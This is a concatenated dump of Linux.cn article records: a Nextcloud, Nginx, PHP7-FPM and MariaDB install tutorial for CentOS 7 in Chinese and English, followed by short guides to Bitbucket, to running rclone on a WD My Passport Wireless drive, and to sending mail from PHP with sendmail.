### 步骤 3 - 安装和配置 MariaDB
我这里使用 MariaDB 作为 Nextcloud 的数据库。可以直接使用 `yum` 命令从 CentOS 默认远程仓库中安装 `mariadb-server` 包。
```
yum -y install mariadb mariadb-server
```
启动 MariaDB,并将其添加到随系统启动的服务中去。
```
systemctl start mariadb
systemctl enable mariadb
```
现在开始配置 MariaDB 的 root 用户密码。
```
mysql_secure_installation
```
键入 `Y` ,然后设置 MariaDB 的 root 密码。
```
Set root password? [Y/n] Y
New password:
Re-enter new password:
Remove anonymous users? [Y/n] Y
Disallow root login remotely? [Y/n] Y
Remove test database and access to it? [Y/n] Y
Reload privilege tables now? [Y/n] Y
```
这样就设置好了密码,现在登录到 mysql shell 并为 Nextcloud 创建一个新的数据库和用户。这里我创建名为 `nextcloud_db` 的数据库以及名为 `nextclouduser` 的用户,用户密码为 `nextclouduser@`。当然了,要给你自己的系统选用一个更安全的密码。
```
mysql -u root -p
```
输入 MariaDB 的 root 密码,即可登录 mysql shell。
输入以下 mysql 查询语句来创建新的数据库和用户。
```
create database nextcloud_db;
create user nextclouduser@localhost identified by 'nextclouduser@';
grant all privileges on nextcloud_db.* to nextclouduser@localhost identified by 'nextclouduser@';
flush privileges;
```

`nextcloud_db` 数据库和 `nextclouduser` 数据库用户创建完成
### 步骤 4 - 为 Nextcloud 生成一个自签名 SSL 证书
在教程中,我会让客户端以 https 连接来运行 Nextcloud。你可以使用诸如 let's encrypt 等免费 SSL 证书,或者是自己创建自签名 (self signed) SSL 证书。这里我使用 OpenSSL 来创建自己的自签名 SSL 证书。
为 SSL 文件创建新目录:
```
mkdir -p /etc/nginx/cert/
```
如下,使用 `openssl` 生成一个新的 SSL 证书。
```
openssl req -new -x509 -days 365 -nodes -out /etc/nginx/cert/nextcloud.crt -keyout /etc/nginx/cert/nextcloud.key
```
最后使用 `chmod` 命令将所有证书文件的权限设置为 `600`。
```
chmod 700 /etc/nginx/cert
chmod 600 /etc/nginx/cert/*
```

### 步骤 5 - 下载和安装 Nextcloud
我直接使用 `wget` 命令下载 Nextcloud 到服务器上,因此需要先行安装 `wget`。此外,还需要安装 `unzip` 来进行解压。使用 `yum` 命令来安装这两个程序。
```
yum -y install wget unzip
```
先进入 `/tmp` 目录,然后使用 `wget` 从官网下载最新的 Nextcloud 10。
```
cd /tmp
wget https://download.nextcloud.com/server/releases/nextcloud-10.0.2.zip
```
解压 Nextcloud,并将其移动到 `/usr/share/nginx/html/` 目录。
```
unzip nextcloud-10.0.2.zip
mv nextcloud/ /usr/share/nginx/html/
```
下一步,转到 Nginx 的 web 根目录为 Nextcloud 创建一个 `data` 文件夹。
```
cd /usr/share/nginx/html/
mkdir -p nextcloud/data/
```
变更 `nextcloud` 目录的拥有者为 `nginx` 用户和组。
```
chown nginx:nginx -R nextcloud/
```
### 步骤 6 - 在 Nginx 中为 Nextcloud 配置虚拟主机
在步骤 5 我们已经下载好了 Nextcloud 源码,并配置好了让它运行于 Nginx 服务器中,但我们还需要为它配置一个虚拟主机。在 Nginx 的 `conf.d` 目录下创建一个新的虚拟主机配置文件 `nextcloud.conf`。
```
cd /etc/nginx/conf.d/
vim nextcloud.conf
```
将以下内容粘贴到虚拟主机配置文件中:
```
upstream php-handler {
server 127.0.0.1:9000;
#server unix:/var/run/php5-fpm.sock;
}
server {
listen 80;
server_name cloud.nextcloud.co;
# enforce https
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name cloud.nextcloud.co;
ssl_certificate /etc/nginx/cert/nextcloud.crt;
ssl_certificate_key /etc/nginx/cert/nextcloud.key;
# Add headers to serve security related headers
# Before enabling Strict-Transport-Security headers please read into this
# topic first.
add_header Strict-Transport-Security "max-age=15768000;
includeSubDomains; preload;";
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Robots-Tag none;
add_header X-Download-Options noopen;
add_header X-Permitted-Cross-Domain-Policies none;
# Path to the root of your installation
root /usr/share/nginx/html/nextcloud/;
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# The following 2 rules are only needed for the user_webfinger app.
# Uncomment it if you're planning to use this app.
#rewrite ^/.well-known/host-meta /public.php?service=host-meta last;
#rewrite ^/.well-known/host-meta.json /public.php?service=host-meta-json
# last;
location = /.well-known/carddav {
return 301 $scheme://$host/remote.php/dav;
}
location = /.well-known/caldav {
return 301 $scheme://$host/remote.php/dav;
}
# set max upload size
client_max_body_size 512M;
fastcgi_buffers 64 4K;
# Disable gzip to avoid the removal of the ETag header
gzip off;
# Uncomment if your server is build with the ngx_pagespeed module
# This module is currently not supported.
#pagespeed off;
error_page 403 /core/templates/403.php;
error_page 404 /core/templates/404.php;
location / {
rewrite ^ /index.php$uri;
}
location ~ ^/(?:build|tests|config|lib|3rdparty|templates|data)/ {
deny all;
}
location ~ ^/(?:\.|autotest|occ|issue|indie|db_|console) {
deny all;
}
location ~ ^/(?:index|remote|public|cron|core/ajax/update|status|ocs/v[12]|updater/.+|ocs-provider/.+|core/templates/40[34])\.php(?:$|/) {
include fastcgi_params;
fastcgi_split_path_info ^(.+\.php)(/.*)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param HTTPS on;
#Avoid sending the security headers twice
fastcgi_param modHeadersAvailable true;
fastcgi_param front_controller_active true;
fastcgi_pass php-handler;
fastcgi_intercept_errors on;
fastcgi_request_buffering off;
}
location ~ ^/(?:updater|ocs-provider)(?:$|/) {
try_files $uri/ =404;
index index.php;
}
# Adding the cache control header for js and css files
# Make sure it is BELOW the PHP block
location ~* \.(?:css|js)$ {
try_files $uri /index.php$uri$is_args$args;
add_header Cache-Control "public, max-age=7200";
# Add headers to serve security related headers (It is intended to
# have those duplicated to the ones above)
# Before enabling Strict-Transport-Security headers please read into
# this topic first.
add_header Strict-Transport-Security "max-age=15768000;
includeSubDomains; preload;";
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Robots-Tag none;
add_header X-Download-Options noopen;
add_header X-Permitted-Cross-Domain-Policies none;
# Optional: Don't log access to assets
access_log off;
}
location ~* \.(?:svg|gif|png|html|ttf|woff|ico|jpg|jpeg)$ {
try_files $uri /index.php$uri$is_args$args;
# Optional: Don't log access to other assets
access_log off;
}
}
```
保存文件并退出 vim。
下载测试以下该 Nginx 配置文件是否有错误,没有的话就可以重启服务了。
```
nginx -t
systemctl restart nginx
```

### 步骤 7 - 为 Nextcloud 配置 SELinux 和 FirewallD 规则
本教程中,我们将以强制模式运行 SELinux,因此需要一个 SELinux 管理工具来为 Nextcloud 配置 SELinux。
使用以下命令安装 SELinux 管理工具。
```
yum -y install policycoreutils-python
```
然后以 root 用户来运行以下命令,以便让 Nextcloud 运行于 SELinux 环境之下。如果你是用的其他名称的目录,记得将 `nextcloud` 替换掉。
```
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/data(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/config(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/apps(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/assets(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/.htaccess'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/.user.ini'
restorecon -Rv '/usr/share/nginx/html/nextcloud/'
```
接下来,我们要启用 firewalld 服务,同时为 Nextcloud 开启 http 和 https 端口。
启动 firewalld 并设置随系统启动。
```
systemctl start firewalld
systemctl enable firewalld
```
现在使用 `firewall-cmd` 命令来开启 http 和 https 端口,然后重新加载防火墙。
```
firewall-cmd --permanent --add-service=http
firewall-cmd --permanent --add-service=https
firewall-cmd --reload
```

至此,服务器配置完成。
### 步骤 8 - Nextcloud 安装
打开你的 Web 浏览器,输入你为 Nextcloud 设置的域名,我这里设置为 `cloud.nextcloud.co`,然后会重定向到安全性更好的 https 连接。
设置你的管理员用户名和密码,然后输入数据验证信息,点击 '**完成安装 (Finish Setup)**'。

Nextcloud 管理面板大致如下:

Nextcloud 用户设置:

管理设置:

至此,我们在 CentOS 7 服务器上通过使用 Nginx、PHP7-FPM、MariaDB 完成了 Nextcloud 的安装。
### 参考链接
* <https://docs.nextcloud.com/>
---
译者简介:
[GHLandy](http://GHLandy.com) —— 划不完粉腮柳眉泣别离。
---
via: <https://www.howtoforge.com/tutorial/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/>
作者:[Muhammad Arul](https://www.howtoforge.com/tutorial/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | # How to Install Nextcloud with Nginx and PHP7-FPM on CentOS 7
### This tutorial exists for these OS versions
[CentOS 8](/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-8/)**CentOS 7**
### On this page
[Step 1 - Install Nginx and PHP7-FPM on CentOS 7](#step-install-nginx-and-phpfpm-on-centos-)[Step 2 - Configure PHP7-FPM](#step-configure-phpfpm)[Step 3 - Install and Configure MariaDB](#step-install-and-configure-mariadb)[Step 4 - Generate a Self-signed SSL Certificate for Nextcloud](#step-generate-a-selfsigned-ssl-certificate-for-nextcloud)[Step 5 - Download and Install Nextcloud](#step-download-and-install-nextcloud)[Step 6 - Configure Nextcloud Virtual Host in Nginx](#step-configure-nextcloud-virtual-host-in-nginx)[Step 7 - Configure SELinux and FirewallD for Nextcloud](#step-configure-selinux-and-firewalld-for-nextcloud)[Step 8 - Nextcloud Installation Wizard](#step-nextcloud-installation-wizard)[Reference](#reference)
Nextcloud is a free (Open Source) Dropbox-like software, a fork of the ownCloud project. Nextcloud is written in PHP and JavaScript, it supports many database systems such as, MySQL/MariaDB, PostgreSQL, Oracle Database and SQLite. In order to keep your files synchronized between Desktop and your own server, Nextcloud provides applications for Windows, Linux and Mac desktops and a mobile app for android and iOS. Nextcloud is not just a dropbox clone, it provides additional features like Calendar, Contacts, Schedule tasks, and streaming media with Ampache.
In this tutorial, I will show you how to install and configure the latest Nextcloud 10 release on a CentOS 7 server. I will run Nextcloud with a Nginx web server and PHP7-FPM and use MariaDB as the database system.
**Prerequisite**
- CentOS 7 64bit
- Root privileges on the server
## Step 1 - Install Nginx and PHP7-FPM on CentOS 7
Before we start with the Nginx and php7-fpm installation, we have to add the EPEL package repository. Install it with this yum command.
yum -y install epel-release
Now install Nginx from the EPEL repository.
yum -y install nginx
Then we have to add another repository for php7-fpm. There are several repositories available on the net that provide PHP 7 packages, I will use webtatic here.
Add the PHP7-FPM webtatic repository:
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
Next, install PHP7-FPM and some additional packages for the Nextcloud installation.
yum -y install php70w-fpm php70w-cli php70w-gd php70w-mcrypt php70w-mysql php70w-pear php70w-xml php70w-mbstring php70w-pdo php70w-json php70w-pecl-apcu php70w-pecl-apcu-devel
Finally, check the PHP version from server terminal to verify that PHP installed correctly.
php -v
## Step 2 - Configure PHP7-FPM
In this step, we will configure php-fpm to run with Nginx. Php7-fpm will run under user nginx and listen on port 9000.
Edit the default php7-fpm configuration file with vim.
vim /etc/php-fpm.d/www.conf
In line 8 and 10, change user and group to '**nginx**'.
user = nginx
group = nginx
In line 22, make sure php-fpm is running under server port.
listen = 127.0.0.1:9000
Uncomment line 366-370 to activate the php-fpm system environment variables.
env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp
Save the file and exit the vim editor.
Next, create a new directory for the session path in the '/var/lib/' directory, and change the owner to the 'nginx' user.
mkdir -p /var/lib/php/session
chown nginx:nginx -R /var/lib/php/session/
Now start php-fpm and Nginx, then enable the services to start at boot time.
sudo systemctl start php-fpm
sudo systemctl start nginx
sudo systemctl enable php-fpm
sudo systemctl enable nginx
PHP7-FPM configuration is done.
## Step 3 - Install and Configure MariaDB
I will use MariaDB for the Nextcloud database. Install the mariadb-server package from the CentOS repository with yum.
yum -y install mariadb mariadb-server
Start the MariaDB service and add it to run at boot time.
systemctl start mariadb
systemctl enable mariadb
Now configure the MariaDB root password.
mysql_secure_installation
Type in your root password when requested.
Set root password? [Y/n] Y
New password:
Re-enter new password:
Remove anonymous users? [Y/n] Y
Disallow root login remotely? [Y/n] Y
Remove test database and access to it? [Y/n] Y
Reload privilege tables now? [Y/n] Y
The MariaDB root password has been set, now we can login to the mysql shell to create a new database and a new user for Nextcloud. I will create a new database named '**nextcloud_db**' and a user '**nextclouduser**' with password '**nextclouduser@**'. Choose a secure password for your installation!
mysql -u root -p
Type Password
Type in the mysql query below to create a new database and a new user.
create database nextcloud_db;
create user nextclouduser@localhost identified by 'nextclouduser@';
grant all privileges on nextcloud_db.* to nextclouduser@localhost identified by 'nextclouduser@';
flush privileges;
The nextcloud_db database with user 'nextclouduser' has been created.
## Step 4 - Generate a Self-signed SSL Certificate for Nextcloud
In this tutorial, I will run nextcloud with a https connection for the client. You can use free SSL such as let's encrypt or create self signed SSL certificate. I will create my own self-signed SSL certificate file with the OpenSSL command.
Create a new directory for the SSL file.
mkdir -p /etc/nginx/cert/
And generate a new SSL certificate file with the the openssl command below.
openssl req -new -x509 -days 365 -nodes -out /etc/nginx/cert/nextcloud.crt -keyout /etc/nginx/cert/nextcloud.key
Finally, change the permission of all certificate files to 600 with chmod.
chmod 700 /etc/nginx/cert
chmod 600 /etc/nginx/cert/*
## Step 5 - Download and Install Nextcloud
We will download Nextcloud with wget directly to the server, so we have to install wget first. Additionally, we need the unzip program. Install both applications with yum.
yum -y install wget unzip
Go to the /tmp directory and download latest stable Nextcloud 10 version from the Nextcloud web site with wget.
cd /tmp
wget https://download.nextcloud.com/server/releases/nextcloud-10.0.2.zip
Extract the nextcloud zip file and move it's content to the '/usr/share/nginx/html/' directory.
unzip nextcloud-10.0.2.zip
mv nextcloud/ /usr/share/nginx/html/
Next, go to the Nginx web root directory and create a new 'data' directory for Nextcloud.
cd /usr/share/nginx/html/
mkdir -p nextcloud/data/
Change the owner of the 'nextcloud' directory to the 'nginx' user and group.
chown nginx:nginx -R nextcloud/
## Step 6 - Configure Nextcloud Virtual Host in Nginx
In step 5 we've downloaded the Nextcloud source code and configured it to run under the Nginx web server. But we still need to configure a virtual host for Nextcloud. Create a new virtual host configuration file 'nextcloud.conf' in the Nginx 'conf.d' directory.
cd /etc/nginx/conf.d/
vim nextcloud.conf
Paste the Nextcloud virtual host configuration below.
upstream php-handler {
server 127.0.0.1:9000;
#server unix:/var/run/php5-fpm.sock;
}
server {
listen 80;
server_name cloud.nextcloud.co;
# enforce https
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name cloud.nextcloud.co;
ssl_certificate /etc/nginx/cert/nextcloud.crt;
ssl_certificate_key /etc/nginx/cert/nextcloud.key;
# Add headers to serve security related headers
# Before enabling Strict-Transport-Security headers please read into this
# topic first.
add_header Strict-Transport-Security "max-age=15768000;
includeSubDomains; preload;";
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Robots-Tag none;
add_header X-Download-Options noopen;
add_header X-Permitted-Cross-Domain-Policies none;
# Path to the root of your installation
root /usr/share/nginx/html/nextcloud/;
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# The following 2 rules are only needed for the user_webfinger app.
# Uncomment it if you're planning to use this app.
#rewrite ^/.well-known/host-meta /public.php?service=host-meta last;
#rewrite ^/.well-known/host-meta.json /public.php?service=host-meta-json
# last;
location = /.well-known/carddav {
return 301 $scheme://$host/remote.php/dav;
}
location = /.well-known/caldav {
return 301 $scheme://$host/remote.php/dav;
}
# set max upload size
client_max_body_size 512M;
fastcgi_buffers 64 4K;
# Disable gzip to avoid the removal of the ETag header
gzip off;
# Uncomment if your server is build with the ngx_pagespeed module
# This module is currently not supported.
#pagespeed off;
error_page 403 /core/templates/403.php;
error_page 404 /core/templates/404.php;
location / {
rewrite ^ /index.php$uri;
}
location ~ ^/(?:build|tests|config|lib|3rdparty|templates|data)/ {
deny all;
}
location ~ ^/(?:\.|autotest|occ|issue|indie|db_|console) {
deny all;
}
location ~ ^/(?:index|remote|public|cron|core/ajax/update|status|ocs/v[12]|updater/.+|ocs-provider/.+|core/templates/40[34])\.php(?:$|/) {
include fastcgi_params;
fastcgi_split_path_info ^(.+\.php)(/.*)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param HTTPS on;
#Avoid sending the security headers twice
fastcgi_param modHeadersAvailable true;
fastcgi_param front_controller_active true;
fastcgi_pass php-handler;
fastcgi_intercept_errors on;
fastcgi_request_buffering off;
}
location ~ ^/(?:updater|ocs-provider)(?:$|/) {
try_files $uri/ =404;
index index.php;
}
# Adding the cache control header for js and css files
# Make sure it is BELOW the PHP block
location ~* \.(?:css|js)$ {
try_files $uri /index.php$uri$is_args$args;
add_header Cache-Control "public, max-age=7200";
# Add headers to serve security related headers (It is intended to
# have those duplicated to the ones above)
# Before enabling Strict-Transport-Security headers please read into
# this topic first.
add_header Strict-Transport-Security "max-age=15768000;
includeSubDomains; preload;";
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Robots-Tag none;
add_header X-Download-Options noopen;
add_header X-Permitted-Cross-Domain-Policies none;
# Optional: Don't log access to assets
access_log off;
}
location ~* \.(?:svg|gif|png|html|ttf|woff|ico|jpg|jpeg)$ {
try_files $uri /index.php$uri$is_args$args;
# Optional: Don't log access to other assets
access_log off;
}
}
Save the file and exit vim.
Now test the Nginx configuration to ensure that there are no error,s- Then restart the service.
nginx -t
systemctl restart nginx
## Step 7 - Configure SELinux and FirewallD for Nextcloud
In this tutorial, we will leave SELinux on in enforcing mode, so we need a new package SELinux management tools to configure SELinux for Nextcloud.
Install the SELinux management tools with this command.
yum -y install policycoreutils-python-utils
Then execute the commands below as root user to allow Nextcloud to run under SELinux. Remember to change the Nextcloud directory in case you use a different directory.
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/data(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/config(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/apps(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/assets(/.*)?'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/.htaccess'
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/.user.ini'
restorecon -Rv '/usr/share/nginx/html/nextcloud/'
Next, we will enable the firewalld service and open the HTTP and HTTPS ports for Nextcloud.
Start firewalld and enable it to start at boot time.
systemctl start firewalld
systemctl enable firewalld
Now open the HTTP and HTTPS ports with the firewall-cmd command, then reload the firewall.
firewall-cmd --permanent --add-service=http
firewall-cmd --permanent --add-service=https
firewall-cmd --reload
All the server configuration is done.
## Step 8 - Nextcloud Installation Wizard
Open your web browser and type in your Nextcloud domain name, mine is: cloud.nextcloud.co. You will be redirected to the secure https connection.
Type in your desired admin user name and password, and then type in your database credentials. Click '**Finish Setup**'.
The Nextcloud Admin Dashboard (File Manager) appears.
Nextcloud User Settings.
Admin Settings.
Nextcloud has been installed with Nginx, PHP7-FPM, and MariaDB on a CentOS 7 Server. |
8,244 | Bitbucket 版本控制入门指南 | http://www.tecmint.com/bitbucket-for-version-control/ | 2017-02-27T13:17:00 | [
"版本控制",
"Bitbucket",
"git"
] | https://linux.cn/article-8244-1.html | 在互联网成为一个巨大的、世界性的现象之前,开发团队常常被限制在一个小的物理空间内。如果公司没有资金支持的话,与世界另一方的人合作是一个非常昂贵或几乎不可能的梦想。
幸运的是,情况不再是这样了。互联网诞生了基于网络的解决方案,允许公司组成合作团体,包括彼此相距数千英里的人。
自从 2008 年首次推出以来,[Bitbucket](http://bit.ly/2ieExnS) 已成为使用 **Mercurial** 或 **Git** 版本控制系统(**VCS**)的开发人员团队中越来越受欢迎的选择。

它既提供免费帐户,带有不限数量的私人存储库(每个账户最多 5 个用户),也提供多种付费计划,允许每个帐户有更多用户。此外,标记为“公开”的仓库对可以编辑或读取其内容的人数没有限制。
### 注册 Bitbucket
要使用 **Bitbucket**,你需要建立一个免费帐户。要这样做,请进入 [https://bitbucket.org/](http://bit.ly/2ioJISt), 然后单击<ruby> 免费开始 <rt> Get started for free </rt></ruby>按钮。
首先,你需要输入有效的电子邮件地址,然后点击**继续**。 你的电子邮件帐户将被验证,如果一切正常,你将被提示输入所需的密码。完成后,再次点击 **继续**,然后检查你的电子邮件**收件箱**,以确认你的帐户是否已创建:

*Bitbucket 注册*
验证电子邮件地址后,系统会要求你确定**用户名**。 然后将创建你的帐户,你将会进入 **Bitbucket** 面板,在那里开始创建团队、项目和仓库:

*Bitbucket 面板*
如你所见,你可以在几分钟内注册 **Bitbucket**。**Atlassian** 的人简化了这个过程,以便你可以把你的时间真正用在 **Bitbucket** 上 - 我们下面会进一步讲。
### 使用 Bitbucket
让我们浏览下注册 **Bitbucket** 之后必须要做的事情。它们都在顶部菜单中:

*探索 Bitbucket 功能*
#### 1). 创建一个团队,通过允许多个 Bitbucket 用户共享一个账号计划的方式鼓励协作。
这将允许他们轻松管理团队拥有的仓库。要创建团队,请输入**团队名称**,并确保团队标识不存在。接下来,输入你要添加到群组的人员的电子邮件地址,并指明是否要将其设为**管理员**。最后,单击**创建**:

*Bitbucket – 创建一个团队*
#### 2) 创建或导入一个仓库
如果你已经使用基于 Git 的解决方案,你可以轻松地将你的仓库导入 **Bitbucket**。否则,你可以从头创建一个。让我们看看在每种情况下你需要做什么。
要创建新的仓库,请单击<ruby> 仓库 <rt> Repositories </rt></ruby>菜单中的<ruby> 创建仓库 <rt> Create repository </rt></ruby>选项。为新仓库和要分组到的项目选择一个名称。接下来,指明是否要将其设置为 private 并指定类型(Git 或 Mercurial)。最后,单击**创建仓库**:

*Bitbucket – 创建一个新仓库*
要导入已有仓库,请从**仓库**下拉菜单中选择**<ruby> 导入 <rt> Import </rt></ruby>**仓库。要开始导入,请指定源,输入 URL 和所需的登录凭据(如果需要)。
最后,选择新的仓库设置,然后单击**导入**仓库。忽略有关在指定 **URL** 处找不到仓库的警告,因为它是虚拟的,仅用于演示目的:

*Bitbucket – 导入已有代码*
就是这样,很简单吧。
### 在 Bitbucket 中使用仓库
创建一个新仓库或者导入一个仓库后,它会在面板上展示出来。这时就能执行一些常规操作,如克隆、创建分支、pull request、提交修改、添加 **README** 文件等等:

*Bitbucket – 仓库概览*
如果想了解如何用仓库工作,或者想要提升你的 git 技能,可以参考 [Bitbucket 官方文档](https://confluence.atlassian.com/bitbucket/bitbucket-cloud-documentation-home-221448814.html)。
##### 总结
如你所见,不管你是版本管理的新手还是老手,**Bitbucket** 都能使管理变得更简单。如果你对本文有任何疑问或评论,请不要犹豫让我们知道。我们期待听到你的声音!
---
作者简介:
我是 Ravi Saive,TecMint 的原创作者。一个喜爱在互联网上分享技巧和提示的计算机 geek 和 Linux 老手。我的大多数服务运行在 Linux 开源平台上。请在 Twitter、Facebook、Google+ 上关注我。
---
via: <http://www.tecmint.com/bitbucket-for-version-control/>
作者:[Ravi Saive](http://www.tecmint.com/author/admin/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,246 | 对西部数据 My Passport Wireless 移动存储进行 Linux 魔改 | https://scribblesandsnaps.com/2017/02/10/wd-my-passport-wireless-linux-hacks/ | 2017-02-28T12:50:44 | [
"移动存储"
] | /article-8246-1.html | 虽然 WD My Passport Wireless 本身就是一个相当有用的设备,但它有一个轻量级但完整的 Linux 发行版提供支持的事实意味着其功能可以进一步扩展。例如,在设备上部署 [rclone](http://rclone.org/),这样你可以将存储在磁盘上的照片和 RAW 文件备份到任何支持的云存储服务中。

在开始之前,你需要将设备连接到 Wi-Fi 网络并启用 SSH(以便你可以通过 SSH 访问底层 Linux 系统)。要将 WD My Passport Wireless 连接到当前的 Wi-Fi 网络中,请为设备供电并连接到从常规 Linux 计算机创建的无线热点。打开浏览器,进入 [http://mypassport.local](http://mypassport.local/),然后登录到设备的 web 界面。切换到 Wi-Fi 一栏,并连接到现有的本地 Wi-Fi 网络。然后切换到管理员部分并启用 SSH 访问。

在你的 Linux 机器上,打开终端并使用 `ssh [email protected]` 连接到设备。
使用下面的命令部署 rclone:
```
curl -O http://downloads.rclone.org/rclone-current-linux-arm.zip
unzip rclone-current-linux-arm.zip
cd rclone-*-linux-arm
cp rclone /usr/sbin/
chown root:root /usr/sbin/rclone
chmod 755 /usr/sbin/rclone
mkdir -p /usr/local/share/man/man1
sudo cp rclone.1 /usr/local/share/man/man1/
sudo mandb
```
完成后运行 `rclone config` 命令。由于在无外接显示器的机器上配置 rclone,请按照[远程设置](http://rclone.org/remote_setup/)页面上的说明进行操作。你可以在 [Linux Photography](https://gumroad.com/l/linux-photography) 这本书中找到有关配置和使用 rclone 的详细信息。
你也可以将 WD My Passport Wireless 用到其他实际用途。由于设备附带了 Python,因此你可以在设备上运行脚本和基于 Python 的 web 应用程序。例如,你可以部署简单的 [What’s in My Bag](https://github.com/dmpop/wimb) 程序来跟踪你的照相设备。
```
curl -LOk https://github.com/dmpop/wimb/archive/master.zip
unzip master.zip
mv wimb-master/ wimb
cd wimb
curl -LOk https://github.com/bottlepy/bottle/raw/master/bottle.py
```
运行 `./wimb.py` 启动应用,并在浏览器中打开 <http://mypassport:8080/wimb> 访问并使用程序。
---
via: <https://scribblesandsnaps.com/2017/02/10/wd-my-passport-wireless-linux-hacks/>
作者:[Dmitri Popov](https://scribblesandsnaps.com/author/dmpop/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='scribblesandsnaps.com', port=443): Max retries exceeded with url: /2017/02/10/wd-my-passport-wireless-linux-hacks/ (Caused by NameResolutionError("<urllib3.connection.HTTPSConnection object at 0x7b8327583850>: Failed to resolve 'scribblesandsnaps.com' ([Errno -2] Name or service not known)")) | null |
8,247 | 在 CentOS 7 中使用 Sendmail 通过 PHP 发送邮件 | http://fasterland.net/sending-email-via-php-centos-7-using-sendmail.html | 2017-02-28T12:58:00 | [
"PHP",
"邮件",
"sendmail"
] | https://linux.cn/article-8247-1.html | 
如果你运行了一个 web 服务器或者一台 VPS ,你可能需要在你的 PHP 程序中发送邮件。
同样,如果你正在运行一个 WordPress 博客,或者你正在使用任何类型的 CMS ,你允许你的访问者通过联系表单向你发送电子邮件(例如使用 WordPress 的 [Contact Form 7](https://wordpress.org/plugins/contact-form-7/) 插件),你可能需要安装一个名为 [sendmail](http://www.sendmail.com/sm/open_source/) 的简单的程序到你的 web 服务器上。
>
> Sendmail 是一个通用的互联网电子邮件投递工具,支持多种邮件传输和传递方法,包括用于通过 Internet 进行电子邮件传输的简单邮件传输协议(SMTP)。[来自 Wikipedia](https://en.wikipedia.org/wiki/Sendmail)。
>
>
>
Sendmail 可以通过你的发行版的软件包管理器安装。
以下是在 CentOS 7 上安装 Sendmail 的说明。
### 安装
要在 CentOS 7 中安装 CentOS 7 ,运行下面的命令:
```
# yum install sendmail
```
### 允许服务器可以发送邮件
如果在 CentOS 7 中使用了 SELinux, 你需要使用下面的命令允许 sendmail 发送邮件:
```
# setsebool -P httpd_can_sendmail=on
```
### 使用 PHP 发送一封测试邮件
使用这个命令进入 php 交互 shell 中:
```
php -a
```
在交互 shell 中,粘贴下面的代码:
```
mail('[email protected]', "Test email", "Test email from the Internet", null, "-f [email protected]");
```
不要忘记将 `[email protected]` 和 `[email protected]` 分别替换为你的收件地址和发件地址。
### 浏览 sendmail 日志
要监控邮件日志,你可以使用这个命令:
```
tail /var/log/maillog
```
在服务器上安装 sendmail 完成后,你可以允许你的用户通过联系栏通过邮件联系你了。
---
via: <http://fasterland.net/sending-email-via-php-centos-7-using-sendmail.html>
作者:[Francesco Mondello](http://fasterland.net/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,248 | 如何在 Ubuntu 和 CentOS 上启用 Nginx 的 HTTP/2 协议支持 | https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/ | 2017-02-28T13:20:00 | [
"HTTP/2",
"nginx"
] | https://linux.cn/article-8248-1.html | 
